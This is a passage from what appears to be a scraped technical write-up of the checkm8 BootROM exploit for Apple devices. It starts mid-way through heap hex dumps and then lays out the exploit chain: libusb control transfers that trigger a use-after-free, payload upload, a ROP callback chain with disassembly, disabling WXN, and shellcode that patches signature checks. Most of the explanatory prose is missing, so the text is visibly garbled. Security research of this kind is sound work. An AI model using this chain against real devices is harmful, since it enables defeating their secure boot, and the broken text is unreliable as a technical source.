01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

, High Speed Full Speed , IO -. , , , . , .


2. IO-


 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

OUT - . , io_buffer . DFU DFU_CLR_STATUS , DFU .


3. usb_device_io_request use-after-free


 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

usb_device_io_request t8010_overwrite , .


t8010_nop_gadget 0x1800B0800 callback next usb_device_io_request .


t8010_nop_gadget , , LR , - free callback - usb_core_complete_endpoint_io . , , .


 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next INSECURE_MEMORY + 0x800 . INSECURE_MEMORY , 0x800 callback-chain , .


4.


 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

. :


 0x1800B0000: t8010_shellcode #  shell-code ... 0x1800B0180: t8010_handler #   usb- ... 0x1800B0400: 0x1000006a5 #     #  SecureROM (0x100000000 -> 0x100000000) #        ... 0x1800B0600: 0x60000180000625 #     #  SecureRAM (0x180000000 -> 0x180000000) #        0x1800B0608: 0x1800006a5 #     #    0x182000000  0x180000000 #           0x1800B0610: disabe_wxn_arm64 #    WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. callback-chain


 dfu.usb_reset(device) dfu.release_device(device) 

USB usb_device_io_request . , callback . :


 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

, 0x70 . f(x) f x .


, Unicorn Engine . uEmu .



iPhone 7 .


5.1. dc_civac 0x1800B0600


 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

. , .


5.2. dmb


 0000000100000478: DMB SY 000000010000047C: RET 

, , . , , .


5.3. enter_critical_section()


.


5.4. write_ttbr0(0x1800B0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 0x1800B0000 . INSECURE MEMORY , . , :


 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5. tlbi


 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

, .


5.6. 0x1820B0610 - disable_wxn_arm64


 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never), RW . WXN - .


5.7. write_ttbr0(0x1800A0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 . BootROM , INSECURE_MEMORY .


5.8. tlbi


.


5.9. exit_critical_section()


.


5.10. 0x1800B0000


shellcode .


, callback-chain — WXN shellcode RW -.


6. shellcode


shellcode src/checkm8_arm64.S :


6.1. USB -


usb_core_hs_configuration_descriptor usb_core_fs_configuration_descriptor , . . USB -, shellcode .


6.2. USBSerialNumber


- , " PWND:[checkm8]" . , .


6.3. USB -


USB - , .


6.4. USB - TRAMPOLINE ( 0x1800AFC00 )


USB - wValue 0xffff , , . , : memcpy , memset exec ( ).


.


USB


Proof-of-Concept checkm8 Arduino Usb Host Shield . PoC iPhone 7 , . iPhone 7 DFU Usb Host Shield , PWND:[checkm8] , USB - ipwndfu ( , - ..). , , USB -. USB_Host_Shield_2.0 . , patch- .




. checkm8 . , . jailbreak-. , jailbreak checkm8 — checkra1n . , jailbreak ( A5 A11 ) iOS . iWatch , Apple TV . , .


jailbreak, Apple. checkm8 verbose- iOS , SecureROM GID - . , , JTAG/SWD . , , . , checkm8 , Apple .


Les références


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. ipwndfu LinusHenze

Source: https://habr.com/ru/post/fr471668/


All Articles